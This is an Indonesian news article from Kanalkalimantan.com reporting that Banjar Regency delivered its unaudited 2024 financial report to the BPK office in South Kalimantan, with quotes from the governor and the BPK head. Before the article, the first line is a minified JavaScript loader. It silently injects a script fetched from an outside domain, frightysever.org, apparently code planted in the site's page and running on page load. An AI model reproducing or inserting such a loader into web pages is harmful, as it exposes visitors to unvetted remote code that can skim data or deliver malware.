(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab Banjar Serahkan LKPD Unaudited Tahun Anggaran 2024 ke Kantor BPK Perwakilan Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Diwakili oleh Wabup Banjar Habib Idrus Al Habsyi, Pemerintah Kabupaten Banjar menyerahkan Laporan Keuangan Pemerintah Daerah (LKPD) Unaudited Tahun Anggaran 2024 di Kantor Badan Pemeriksa Keuangan (BPK) Perwakilan Kalimantan Selatan, Banjarbaru, Kamis (27/3/2025) siang.

Penyerahan dilakukan wakil bupati Banjar kepada Kepala BPK Perwakilan Kalsel, Andriyanto.

Gubernur Kalimantan Selatan H Muhidin menegaskan, bahwa penyerahan LKPD Unaudited ini merupakan bentuk kepatuhan terhadap UU Nomor 17 Tahun 2003 tentang Keuangan Negara serta Peraturan Pemerintah Nomor 71 Tahun 2010 tentang Standar Akuntansi Pemerintahan.

“Kami berkomitmen untuk terus meningkatkan transparansi dan akuntabilitas dalam pengelolaan keuangan daerah.

Kami berharap laporan ini dapat diperiksa secara independen oleh BPK untuk memperoleh opini terbaik,” ujar Muhidin.

Dia mengajak seluruh jajaran pemerintah daerah di Kalsel untuk terus meningkatkan kualitas pengelolaan keuangan.

“Kami berharap kerja sama antara pemerintah daerah dan BPK terus terjalin dengan baik, sehingga opini WTP dapat dipertahankan dan anggaran benar-benar memberikan manfaat bagi masyarakat,” tambah dia.

Kepala BPK Perwakilan Kalsel, Andriyanto, mengapresiasi pemerintah provinsi serta kabupaten/kota atas ketepatan waktu dalam menyerahkan LKPD Unaudited.

Menurut dia, langkah tersebut mencerminkan komitmen pemerintah daerah dalam memenuhi kewajiban pelaporan keuangan secara transparan.

“Kami akan melakukan audit terhadap LKPD yang telah diserahkan.

Hasil pemeriksaan nantinya menjadi dasar dalam memberikan opini atas laporan keuangan pemerintah daerah,” ujar dia.

Selain Pemkab Banjar, Pemerintah Provinsi Kalimantan Selatan dan 12 kabupaten/kota lainnya juga turut menyerahkan LKPD.

Penyerahan LKPD Unaudited ini dilakukan sesuai ketentuan yang mewajibkan gubernur, bupati, dan wali kota menyampaikan laporan keuangan paling lambat tiga bulan setelah tahun anggaran berakhir.

Setelah menerima LKPD Unaudited, BPK akan melakukan audit selama beberapa bulan sebelum mengeluarkan opini.

Diharapkan, proses audit berjalan lancar sehingga hasil pemeriksaan dapat segera diterbitkan dan menjadi dasar dalam perencanaan serta pengelolaan keuangan daerah pada tahun mendatang. (Kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani